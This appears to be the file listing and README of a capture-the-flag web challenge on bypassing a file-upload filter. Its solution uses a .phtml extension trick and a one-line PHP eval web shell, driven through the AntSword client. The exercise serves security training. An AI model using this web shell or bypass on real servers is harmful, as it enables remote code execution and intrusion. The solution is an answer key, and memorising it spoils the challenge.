Name		Name	Last commit message	Last commit date
parent directory ..
.htaccess		.htaccess
Dockerfile		Dockerfile
README.md		README.md
index.html		index.html
script.js		script.js
styles.css		styles.css
upload.php		upload.php

README.md

ez_upload

题目描述:

你传的明白马?

考点

本题考察简单文件上传与过滤绕过

提示

为了降低难度，在网页根目录下留了一个www.zip

一种可行的解法

本题过滤了文件拓展名和文件内容，但是只是简单的字符串判断

可以使用phtml绕过文件拓展名过滤，php代码<?=eval($_POST['ant'])?>

上传成功后蚁剑连接即可